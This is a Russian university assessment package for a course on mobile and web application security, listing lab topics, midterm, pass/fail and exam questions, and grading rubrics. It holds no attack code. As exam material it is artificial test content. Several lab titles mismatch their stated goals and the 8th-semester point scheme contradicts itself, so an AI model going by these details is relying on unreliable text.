МИНИСТЕРСТВО НАУКИ И ВЫСШЕГО ОБРАЗОВАНИЯ РОССИЙСКОЙ ФЕДЕРАЦИИ

ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ БЮДЖЕТНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ «ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ ИМЕНИ АКАДЕМИКА М.Д.МИЛЛИОНЩИКОВА»

Информационные системы в экономике
(наименование кафедры)

УТВЕРЖДЕН

на заседании кафедры
«02» 09 2025 г., протокол № 1

Заведующий кафедрой
_____ Л.Р. Магомаева
(подпись)

ФОНД ОЦЕНОЧНЫХ СРЕДСТВ ПО УЧЕБНОЙ ДИСЦИПЛИНЕ

Информационная безопасность мобильных и Web-приложений
(наименование дисциплины)

Направление /специальность подготовки
09.03.03 Прикладная информатика
(код и наименование направления/ специальности подготовки)

Направленность (профиль)
Разработка мобильных и Web-приложений
(наименование специализации / профиля подготовки)

Квалификация
бакалавр
(специалист / бакалавр / магистр)

Составитель _____ М.К. Абдулаев
(подпись)

Грозный – 2025

ПАСПОРТ
ФОНДА ОЦЕНОЧНЫХ СРЕДСТВ ПО УЧЕБНОЙ ДИСЦИПЛИНЕ
Информационная безопасность мобильных и Web-приложений

№ п/п	Контролируемые разделы (темы) дисциплины	Код контролируемой компетенции (или ее части)	Наименование оценочного средства
7-й семестр			
1	**Тема 1.** Введение в информационную безопасность веб-приложений	(ОПК-2)	Лабораторная работа
2	**Тема 2.** Основы безопасного программирования на JavaScript	(ПК-4)	Лабораторная работа
3	**Тема 3.** Безопасность клиентской части веб-приложений на React	(ОПК-2)	Лабораторная работа
4	**Тема 4.** Защита от XSS (Cross-Site Scripting) атак	(ПК-4)	Лабораторная работа
5	**Тема 5.** Защита от атак на сеть и аутентификация	(ОПК-2)	Лабораторная работа
6	**Тема 6.** Обзор инструментов и библиотек для обеспечения безопасности в React	(ПК-4)	Лабораторная работа
7	**Тема 7.** Практические примеры уязвимостей и атак в веб-приложениях	(ОПК-2)	Лабораторная работа
8	**Тема 8.** Безопасность при работе с внешними API и сторонними библиотеками	(ПК-4)	
8-й семестр			
9	**Тема 9.** Безопасность мобильных приложений: основные аспекты.	(ОПК-2)	Лабораторная работа
10	**Тема 10.** Безопасность данных в мобильных приложениях	(ПК-4)	Лабораторная работа

11	**Тема 11.** Аутентификация и авторизация в мобильных приложениях	(ОПК-2)	Лабораторная работа
12	**Тема 12.** Обзор инструментов и методов тестирования безопасности мобильных приложений	(ПК-4)	Лабораторная работа
13	**Тема 13**. Защита от угроз внутреннего и внешнего источников	(ОПК-2)	Лабораторная работа
14	**Тема 14.** Практические аспекты обеспечения безопасности мобильных приложений.	(ПК-4)	

ПЕРЕЧЕНЬ ОЦЕНОЧНЫХ СРЕДСТВ

№ п/п	Наименование оценочного средства	Краткая характеристика оценочного средства	Представление оценочного средства в фонде
1	*Лабораторная работа*	Средство проверки умений применять полученные знания по заранее определенной методике для решения задач или заданий по модулю или дисциплине в целом	Комплект заданий для выполнения лабораторных работ
2	*Рубежный контроль*	Форма проверки знаний по дисциплине в виде первой и второй рубежных аттестаций	Вопросы к аттестациям
3	*зачет*	Итоговая форма оценки знаний	Вопросы к зачету
4	*экзамен*	Итоговая форма оценки знаний	Вопросы к экзамену

ЗАДАНИЯ ДЛЯ ВЫПОЛНЕНИЯ ЛАБОРАТОРНЫХ РАБОТ

В качестве оценочных средств используются средства контроля выполнения лабораторных работ по дисциплине. Защита лабораторной работы – ответ на контрольные вопросы после выполнения лабораторной работы.

Средства текущего контроля: устный опрос (собеседование/опрос, разбор учебной ситуации на выбранную тему, подготовка устных сообщений и докладов), практическое задание (выполнение заданий в электронной форме на ПК).

7-й семестр

Лабораторная работа 1. Сбор информации о веб-приложении.	*Цель лабораторной работы:* Обучение методам и средствам сбора информации об анализируемом веб-приложении. (ОПК-2), (ПК-4)
Лабораторная работа 2. Тестирование защищенности транспортного уровня	*Цель лабораторной работы:* Обучение методам и средствам тестирования защищенности служб SSL/TLS. (ОПК-2), (ПК-4)
Лабораторная работа 3. Тестирование защищенности механизма управления доступом	*Цель лабораторной работы:* Обучение методам и средствам тестирования защищенности механизма управления доступом в веб-приложениях. (ОПК-2), (ПК-4)
Лабораторная работа 4. Тестирование защищенности механизма управления сессиями	*Цель лабораторной работы:* Обучение современным методам и средствам тестирования защищенности механизма управления сессиями в веб-приложениях. (ОПК-2), (ПК-4)
Лабораторная работа 5. Тестирование защищенности механизма управления сессиями.	*Цель лабораторной работы:* Обучение методам и средствам тестирования веб-приложений на устойчивость к атакам отказа в обслуживании (DoS-атакам). (ОПК-2), (ПК-4)

8-й семестр

Лабораторная работа 6. Поиск уязвимостей к атакам CSRF.	*Цель лабораторной работы:* Обучение методам и средствам идентификации и эксплуатации уязвимостей веб-приложений к атакам CSRF. (ОПК-2), (ПК-4)

Лабораторная работа 7. Поиск уязвимостей к атакам XSS.	*Цель лабораторной работы:* Обучение методам и средствам идентификации и эксплуатации уязвимостей веб-приложений к атакам XSS. (ОПК-2), (ПК-4)
Лабораторная работа 8. Поиск уязвимостей к атакам XSS.	*Цель лабораторной работы:* Обучение методам и средствам идентификации и эксплуатации уязвимостей в веб-приложениях к атакам SQL-injection (ОПК-2), (ПК-4)
Лабораторная работа 9. Поиск уязвимостей к атакам SQL-injection	*Цель лабораторной работы:* Обучение методам и средствам идентификации и эксплуатации уязвимостей веб-приложений к атакам RCE. (ОПК-2), (ПК-4)
Лабораторная работа 10. Поиск уязвимостей к атакам RCE.	*Цель лабораторной работы:* Изучение основных методов и средств идентификации уязвимостей, реализованных в специализированных сканерах безопасности веб-приложений. (ОПК-2), (ПК-4)

Критерии оценки ответов на лабораторные работы (7-й семестр)

Регламентом БРС предусмотрено всего 15 баллов за текущую работу студента. Критерии оценки разработаны, исходя из возможности ответа студентом до 6 лабораторных работ с использованием дополнительного материала по ним. (по 2 балла).

2 балла ставится за работу, выполненную полностью без ошибок и недочетов.

1 балл ставится за работу, выполненную полностью, но при наличии в ней негрубых ошибок и недочетов.

0 баллов ставится, если студент совсем не выполнил ни одного задания.

Максимальное количество баллов за выполнение и защиту лабораторных работ 12.

Максимально высокие баллы за текущий контроль – 15. За активное участие на лекциях и использование дополнительного материала при подготовке к занятиям студент получает дополнительно до 3 баллов.

Критерии оценки ответов на лабораторные работы (8-й семестр)

Регламентом БРС предусмотрено всего 15 баллов за текущую работу студента. Критерии оценки разработаны, исходя из возможности ответа студентом до 5 лабораторных работ с использованием дополнительного материала по ним. (по 2 балла).

3 балла ставится за работу, выполненную полностью без ошибок и недочетов.

2 балл ставится за работу, выполненную полностью, но при наличии в ней негрубых ошибок и недочетов.

0 баллов ставится, если студент совсем не выполнил ни одного задания.

Максимальное количество баллов за выполнение и защиту лабораторных работ 12.

Максимально высокие баллы за текущий контроль – 15. За активное участие на лекциях и использование дополнительного материала при подготовке к занятиям студент получает дополнительно до 3 баллов.

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ ИМЕНИ АКАДЕМИКА М.Д.МИЛЛИОНЩИКОВА

Институт цифровой экономики и технологического предпринимательства
Кафедра «Информационные системы в экономике»

Вопросы к первой рубежной аттестации «Информационная безопасность мобильных и Web-приложений» (7-й семестр)

1. Что такое XSS-атака и какие меры безопасности можно предпринять для защиты от нее в веб-приложениях?
2. Что такое SQL-инъекция и какие методы защиты можно использовать для предотвращения ее возникновения?
3. Какие меры безопасности следует принимать при обработке и хранении паролей пользователей в базе данных?
4. Какие меры безопасности могут предотвратить атаки межсайтовой подделки запроса (CSRF)?
5. Какие методы шифрования данных используются для обеспечения безопасности информации в веб-приложениях?
6. Какие инструменты и технологии помогают обнаруживать уязвимости в веб-приложениях при аудите безопасности?
7. Что такое CORS (Cross-Origin Resource Sharing) и как он влияет на безопасность веб-приложений?
8. Как предотвратить атаки переполнения буфера в веб-приложениях?
9. Какие методы и инструменты используются для обнаружения и предотвращения утечек конфиденциальных данных из веб-приложений?
10. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?

Вопросы ко второй рубежной аттестации «Информационная безопасность мобильных и Web-приложений» (7-й семестр)

1. Как SSR (Server-Side Rendering) может повысить безопасность веб-приложений?
2. Какие методы аутентификации и авторизации наиболее эффективны в мобильных и веб-приложениях?
3. Какие меры безопасности следует принимать при хранении и передаче сессионных данных в веб-приложениях?
4. Какие инструменты и методы тестирования безопасности применяются при разработке веб-приложений?
5. Какие технологии помогают обнаруживать и предотвращать атаки межсайтового скриптинга (XSS)?

6. Какие меры безопасности следует принимать при использовании сторонних библиотек и фреймворков в веб-приложениях?
7. Как предотвратить утечку конфиденциальной информации через некорректную обработку ошибок в веб-приложениях?
8. Как обеспечить безопасность веб-приложений при использовании сторонних API и сервисов?
9. Какие меры безопасности следует предпринять при разработке административной панели в веб-приложениях?
10. Какие инструменты помогают защитить веб-приложения от атак перебора паролей и подбора их методом перебора?

Критерии оценки ответов на рубежной аттестации

Регламентом БРС предусмотрено всего 20 баллов за рубежную аттестацию студента. Критерии оценки разработаны, исходя из возможности ответа студентом на 2 вопроса в билете (по 10 баллов).

10 баллов (5+) заслуживает студент, обнаруживший всестороннее, систематическое и глубокое знание учебного программного материала, самостоятельно выполнивший все предусмотренные программой задания, глубоко усвоивший основную и дополнительную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, разбирающийся в основных научных концепциях по изучаемой дисциплине, проявивший творческие способности и научный подход в понимании и изложении учебного программного материала, ответ отличается богатством и точностью использованных терминов, материал излагается последовательно и логично.

9 баллов (5) заслуживает студент, обнаруживший всестороннее, систематическое знание учебного программного материала, самостоятельно выполнивший все предусмотренные программой задания, глубоко усвоивший основную литературу и знаком с дополнительной литературой, рекомендованной программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению, ответ отличается точностью использованных терминов, материал излагается последовательно и логично.

8 баллов (4+) заслуживает студент, обнаруживший полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший все предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению.

7 баллов (4) заслуживает студент, обнаруживший достаточно полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший все предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению.

6 баллов (4-) заслуживает студент, обнаруживший достаточно полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, отличавшийся достаточной

активностью на практических (семинарских) и лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы.

5 баллов (3+) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, однако допустивший некоторые погрешности при их выполнении и в ответе па экзамене, но обладающий необходимыми знаниями для их самостоятельного устранения.

4 балла (3) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, однако допустивший некоторые погрешности при их выполнении и в ответе на экзамене, но обладающий необходимыми знаниями для устранения под руководством преподавателя допущенных погрешностей.

3 балла (3-) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, однако допустивший погрешности при их выполнении и в ответе на экзамене, но обладающий необходимыми знаниями для устранения под руководством преподавателя наиболее существенных погрешностей.

2 балла (2) выставляется студенту, обнаружившему пробелы в знаниях или отсутствие знаний по значительной части основного учебно-программного материала, не выполнившему самостоятельно предусмотренные программой основные задания, допустившему принципиальные ошибки в выполнении предусмотренных программой заданий, не отработавшему основные практические, семинарские, лабораторные занятия, допускающему существенные ошибки при ответе, и который не может продолжить обучение или приступить к профессиональной деятельности без дополнительных занятий по соответствующей дисциплине.

1 балл — нет ответа (отказ от ответа, представленный ответ полностью не по существу содержащихся в экзаменационном задании вопросов)

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ ИМЕНИ АКАДЕМИКА М.Д.МИЛЛИОНЩИКОВА

Институт цифровой экономики и технологического предпринимательства
Кафедра информационные системы в экономике

Вопросы к зачету по дисциплине «Информационная безопасность мобильных и Web-приложений»

1. Что такое XSS-атака и какие меры безопасности можно предпринять для защиты от нее в веб-приложениях? (ОПК-2) (ПК-4)
2. Что такое SQL-инъекция и какие методы защиты можно использовать для предотвращения ее возникновения?
3. Какие меры безопасности следует принимать при обработке и хранении паролей пользователей в базе данных? (ОПК-2) (ПК-4)
4. Какие меры безопасности могут предотвратить атаки межсайтовой подделки запроса (CSRF)?
5. Какие методы шифрования данных используются для обеспечения безопасности информации в веб-приложениях?
6. Какие инструменты и технологии помогают обнаруживать уязвимости в веб-приложениях при аудите безопасности?
7. Что такое CORS (Cross-Origin Resource Sharing) и как он влияет на безопасность веб-приложений? (ОПК-2) (ПК-4)
8. Как предотвратить атаки переполнения буфера в веб-приложениях?
9. Какие методы и инструменты используются для обнаружения и предотвращения утечек конфиденциальных данных из веб-приложений?
10. Какие меры безопасности следует предпринять при работе с файлами, загружаемыми пользователем в веб-приложениях?
11. Как SSR (Server-Side Rendering) может повысить безопасность веб-приложений?
12. Какие методы аутентификации и авторизации наиболее эффективны в мобильных и веб-приложениях? (ОПК-2) (ПК-4)
13. Какие меры безопасности следует принимать при хранении и передаче сессионных данных в веб-приложениях?
14. Какие инструменты и методы тестирования безопасности применяются при разработке веб-приложений? (ОПК-2) (ПК-4)

15. Какие технологии помогают обнаруживать и предотвращать атаки межсайтового скриптинга (XSS)?
16. Какие меры безопасности следует принимать при использовании сторонних библиотек и фреймворков в веб-приложениях?
17. Как предотвратить утечку конфиденциальной информации через некорректную обработку ошибок в веб-приложениях?
18. Как обеспечить безопасность веб-приложений при использовании сторонних API и сервисов? (ОПК-2) (ПК-4)
19. Какие меры безопасности следует предпринять при разработке административной панели в веб-приложениях?
20. Какие инструменты помогают защитить веб-приложения от атак перебора паролей и подбора их методом перебора? (ОПК-2) (ПК-4)

Критерии оценки ответов на зачете

Регламентом БРС предусмотрено 20 баллов (максимальный балл) за ответ на вопросы в билете. Критерии оценки разработаны, исходя из возможности ответа студентом на 4 вопроса в билете (по 5 баллов).

5 баллов - Дан полный, развернутый ответ на поставленный вопрос, показана совокупность осознанных знаний по дисциплине, доказательно раскрыты основные положения вопросов; в ответе прослеживается четкая структура, логическая последовательность, отражающая сущность раскрываемых понятий, теорий, явлений. Могут быть допущены недочеты в определении понятий, исправленные студентом самостоятельно в процессе ответа.

4 балла - Дан полный, развернутый ответ на поставленный вопрос, показано умение выделить существенные и несущественные признаки, причинно-следственные связи. Ответ четко структурирован, логичен, изложен литературным языком с использованием современной технической терминологии. Могут быть допущены некоторые неточности или незначительные ошибки, исправленные студентом с помощью преподавателя.

3 балла - Дан недостаточно полный и недостаточно развернутый ответ. Логика и последовательность изложения имеют нарушения. Допущены ошибки в раскрытии понятий, употреблении терминов. Студент не способен самостоятельно выделить существенные и несущественные признаки и причинно-следственные связи. В ответе отсутствуют выводы. Умение раскрыть значение обобщенных знаний не показано. Речевое оформление требует поправок, коррекции.

2 балла - Ответ представляет собой разрозненные знания с существенными ошибками по вопросу. Присутствуют фрагментарность, нелогичность изложения. Студент осознает связь обсуждаемого вопроса по билету с другими объектами дисциплины.

1 балл - Отсутствуют выводы, конкретизация и доказательность изложения. Речь неграмотная, техническая терминология не используется. Дополнительные и уточняющие вопросы преподавателя приводят к незначительной коррекции ответа студента.

0 баллов - Ответ на вопрос полностью отсутствует, либо отказ от ответа.

Критерии оценки знаний студента на зачете

Оценка «зачтено» - выставляется студенту, показавшему фрагментарный, разрозненный характер знаний, варьируемых от оценки «отлично» до «удовлетворительно». При этом он владеет основными разделами учебной программы, необходимыми для дальнейшего обучения и может применять полученные знания по образцу в стандартной ситуации.

Оценка «не зачтено» - выставляется студенту, который не знает большей части основного содержания учебной программы дисциплины, допускает грубые ошибки в формулировках основных понятий дисциплины и не умеет использовать полученные знания при решении типовых практических задач.

Вопросы к первой рубежной аттестации (8-й семестр)

1. Какие методы обеспечивают безопасность данных в хранилищах мобильных приложений?
2. Какие механизмы использования API могут представлять угрозу для безопасности мобильных приложений?
3. Как обеспечить защиту от атак перехвата трафика в мобильных приложениях?
4. Какие меры безопасности следует принимать при работе с локальной базой данных в мобильных приложениях?
5. Какие инструменты помогают обнаруживать и устранять уязвимости в мобильных приложениях?
6. Какие аспекты безопасности необходимо учитывать при использовании биометрической аутентификации в мобильных приложениях?
7. Как обеспечить безопасность пользовательских данных в мобильных приложениях при передаче через сеть?
8. Какие меры безопасности следует принимать при использовании хранилища ключей и других конфиденциальных данных в мобильных приложениях?
9. Какие угрозы безопасности могут представлять сторонние библиотеки и SDK в мобильных приложениях?
10. Какие меры безопасности необходимо учитывать при использовании механизмов аутентификации через социальные сети в мобильных приложениях?

Вопросы ко второй рубежной аттестации (8-й семестр)

1. Какие методы обеспечивают безопасность данных в хранилищах мобильных приложений?
2. Какие механизмы использования API могут представлять угрозу для безопасности мобильных приложений?
3. Как обеспечить защиту от атак перехвата трафика в мобильных приложениях?
4. Какие меры безопасности следует принимать при работе с локальной базой данных в мобильных приложениях?
5. Какие инструменты помогают обнаруживать и устранять уязвимости в мобильных приложениях?
6. Какие аспекты безопасности необходимо учитывать при использовании биометрической аутентификации в мобильных приложениях?
7. Как обеспечить безопасность пользовательских данных в мобильных приложениях при передаче через сеть?
8. Какие меры безопасности следует принимать при использовании хранилища ключей и других конфиденциальных данных в мобильных приложениях?
9. Какие угрозы безопасности могут представлять сторонние библиотеки и SDK в мобильных приложениях?
10. Какие меры безопасности необходимо учитывать при использовании механизмов аутентификации через социальные сети в мобильных приложениях?

Критерии оценки ответов на рубежной аттестации

Регламентом БРС предусмотрено всего 20 баллов за рубежную аттестацию студента. Критерии оценки разработаны, исходя из возможности ответа студентом на 2 вопроса в билете (по 10 баллов).

10 баллов (5+) заслуживает студент, обнаруживший всестороннее, систематическое и глубокое знание учебного программного материала, самостоятельно выполнивший все предусмотренные программой задания, глубоко усвоивший основную и дополнительную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, разбирающийся в основных научных концепциях по изучаемой дисциплине, проявивший творческие способности и научный подход в понимании и изложении учебного программного материала, ответ отличается богатством и точностью использованных терминов, материал излагается последовательно и логично.

9 баллов (5) заслуживает студент, обнаруживший всестороннее, систематическое знание учебного программного материала, самостоятельно выполнивший все предусмотренные программой задания, глубоко усвоивший основную литературу и знаком с дополнительной литературой, рекомендованной программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению, ответ отличается точностью использованных терминов, материал излагается последовательно и логично.

8 баллов (4+) заслуживает студент, обнаруживший полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший все предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению.

7 баллов (4) заслуживает студент, обнаруживший достаточно полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший все предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению.

6 баллов (4-) заслуживает студент, обнаруживший достаточно полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, отличавшийся достаточной

активностью на практических (семинарских) и лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы.

5 баллов (3+) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, однако допустивший некоторые погрешности при их выполнении и в ответе па экзамене, но обладающий необходимыми знаниями для их самостоятельного устранения.

4 балла (3) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, однако допустивший некоторые погрешности при их выполнении и в ответе на экзамене, но обладающий необходимыми знаниями для устранения под руководством преподавателя допущенных погрешностей.

3 балла (3-) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, однако допустивший погрешности при их выполнении и в ответе на экзамене, но обладающий необходимыми знаниями для устранения под руководством преподавателя наиболее существенных погрешностей.

2 балла (2) выставляется студенту, обнаружившему пробелы в знаниях или отсутствие знаний по значительной части основного учебно-программного материала, не выполнившему самостоятельно предусмотренные программой основные задания, допустившему принципиальные ошибки в выполнении предусмотренных программой заданий, не отработавшему основные практические, семинарские, лабораторные занятия, допускающему существенные ошибки при ответе, и который не может продолжить обучение или приступить к профессиональной деятельности без дополнительных занятий по соответствующей дисциплине.

1 балл — нет ответа (отказ от ответа, представленный ответ полностью не по существу содержащихся в экзаменационном задании вопросов)

ГРОЗНЕНСКИЙ ГОСУДАРСТВЕННЫЙ НЕФТЯНОЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ ИМЕНИ АКАДЕМИКА М.Д.МИЛЛИОНЩИКОВА

Институт цифровой экономики и технологического предпринимательства
Кафедра информационные системы в экономике

Вопросы к экзамену по дисциплине «Информационная безопасность мобильных и Web-приложений» (8-й семестр)

1. Какие атаки наиболее распространены в мобильной разработке, и как их предотвратить?
2. Какие меры безопасности следует предпринять при разработке аутентификационных механизмов в мобильных приложениях?
3. Как обеспечить защиту мобильных приложений от обратной инженерии и взлома?
4. Какие механизмы шифрования данных используются для обеспечения безопасности мобильных приложений?
5. Какие меры безопасности следует предпринять при работе с локальным хранилищем мобильных приложений?
6. Как обеспечить защиту мобильных приложений от атак на основе подделки и манипуляции с данными?
7. Какие технологии и протоколы используются для обеспечения безопасности мобильных приложений на уровне сети?
8. Какие методы обнаружения и предотвращения утечек данных применяются в мобильной разработке?
9. Какие меры безопасности следует предпринять при обработке и передаче конфиденциальных данных через API в мобильных приложениях?
10. Какие инструменты и методы тестирования безопасности мобильных приложений наиболее эффективны и распространены?
11. Какие методы обеспечивают безопасность данных в хранилищах мобильных приложений?
12. Какие механизмы использования API могут представлять угрозу для безопасности мобильных приложений?
13. Как обеспечить защиту от атак перехвата трафика в мобильных приложениях?

14. Какие меры безопасности следует принимать при работе с локальной базой данных в мобильных приложениях?
15. Какие инструменты помогают обнаруживать и устранять уязвимости в мобильных приложениях?
16. Какие аспекты безопасности необходимо учитывать при использовании биометрической аутентификации в мобильных приложениях?
17. Как обеспечить безопасность пользовательских данных в мобильных приложениях при передаче через сеть?
18. Какие меры безопасности следует принимать при использовании хранилища ключей и других конфиденциальных данных в мобильных приложениях?
19. Какие угрозы безопасности могут представлять сторонние библиотеки и SDK в мобильных приложениях?
20. Какие меры безопасности необходимо учитывать при использовании механизмов аутентификации через социальные сети в мобильных приложениях?

Критерии оценки ответов на экзамене

Регламентом БРС предусмотрено всего 20 баллов за экзамен. Критерии оценки разработаны, исходя из возможности ответа студентом на 2 вопроса в билете (по 10 баллов).

10 баллов (5+) заслуживает студент, обнаруживший всестороннее, систематическое и глубокое знание учебного программного материала, самостоятельно выполнивший все предусмотренные программой задания, глубоко усвоивший основную и дополнительную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, разбирающийся в основных научных концепциях по изучаемой дисциплине, проявивший творческие способности и научный подход в понимании и изложении учебного программного материала, ответ отличается богатством и точностью использованных терминов, материал излагается последовательно и логично.

9 баллов (5) заслуживает студент, обнаруживший всестороннее, систематическое знание учебного программного материала, самостоятельно выполнивший все предусмотренные программой задания, глубоко усвоивший основную литературу и знаком с дополнительной литературой, рекомендованной программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению, ответ отличается точностью использованных терминов, материал излагается последовательно и логично.

8 баллов (4+) заслуживает студент, обнаруживший полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший все предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению.

7 баллов (4) заслуживает студент, обнаруживший достаточно полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший все предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, активно работавший на практических, семинарских, лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы, а также способность к их самостоятельному пополнению.

6 баллов (4-) заслуживает студент, обнаруживший достаточно полное знание учебно-программного материала, не допускающий в ответе существенных неточностей, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, отличавшийся достаточной активностью на практических (семинарских) и лабораторных занятиях, показавший систематический характер знаний по дисциплине, достаточный для дальнейшей учебы.

5 баллов (3+) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, однако допустивший некоторые погрешности при их выполнении и в ответе па экзамене, но обладающий необходимыми знаниями для их самостоятельного устранения.

4 балла (3) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, усвоивший основную литературу, рекомендованную программой, однако допустивший некоторые погрешности при их выполнении и в ответе на экзамене, но обладающий необходимыми знаниями для устранения под руководством преподавателя допущенных погрешностей.

3 балла (3-) заслуживает студент, обнаруживший знание основного учебно-программного материала в объёме, необходимом для дальнейшей учебы и предстоящей работы по профессии, не отличавшийся активностью на практических (семинарских) и лабораторных занятиях, самостоятельно выполнивший основные предусмотренные программой задания, однако допустивший погрешности при их выполнении и в ответе на экзамене, но обладающий необходимыми знаниями для устранения под руководством преподавателя наиболее существенных погрешностей.

2 балла (2) выставляется студенту, обнаружившему пробелы в знаниях или отсутствие знаний по значительной части основного учебно-программного материала, не выполнившему самостоятельно предусмотренные программой основные задания, допустившему принципиальные ошибки в выполнении предусмотренных программой заданий, не отработавшему основные практические, семинарские, лабораторные занятия, допускающему существенные ошибки при ответе, и который не может продолжить обучение или приступить к профессиональной деятельности без дополнительных занятий по соответствующей дисциплине.

1 балл — нет ответа (отказ от ответа, представленный ответ полностью не по существу содержащихся в экзаменационном задании вопросов)

Критерии оценки ответов на экзамене

Оценку "отлично" заслуживает студент, обнаруживший всестороннее, систематическое и глубокое знание учебно-программного материала, умение свободно выполнять задания, предусмотренные программой, усвоивший основную и знакомый с дополнительной литературой, рекомендованной программой. Как правило, оценка "отлично" выставляется студентам, усвоившим взаимосвязь основных понятий дисциплины в их значении для приобретаемой профессии, проявившим творческие способности в понимании, изложении и использовании учебно-программного материала.

Оценку "хорошо" заслуживает студент, обнаруживший полное знание учебно-программного материала, успешно выполняющий предусмотренные в программе задания, усвоивший основную литературу, рекомендованную в программе. Как правило, оценка "хорошо" выставляется студентам, показавшим систематический характер знаний по дисциплине и способным к их самостоятельному пополнению и обновлению в ходе дальнейшей учебной работы и профессиональной деятельности.

Оценку "удовлетворительно" заслуживает студент, обнаруживший знания основного учебно-программного материала в объеме, необходимом для дальнейшей учебы и предстоящей работы по специальности, справляющийся с выполнением заданий, предусмотренных программой, знакомый с основной литературой, рекомендованной программой. Как правило, оценка "удовлетворительно" выставляется студентам, допустившим погрешности в ответе на экзамене и при выполнении экзаменационных заданий, но обладающим необходимыми знаниями для их устранения под руководством преподавателя.

Оценка "неудовлетворительно" выставляется студенту, обнаружившему пробелы в знаниях основного учебно-программного материала, допустившему принципиальные ошибки в выполнении предусмотренных программой заданий. Как правило, оценка "неудовлетворительно" ставится студентам, которые не могут продолжить обучение или приступить к профессиональной деятельности по окончании вуза без дополнительных занятий по соответствующей дисциплине.

Приложение 1

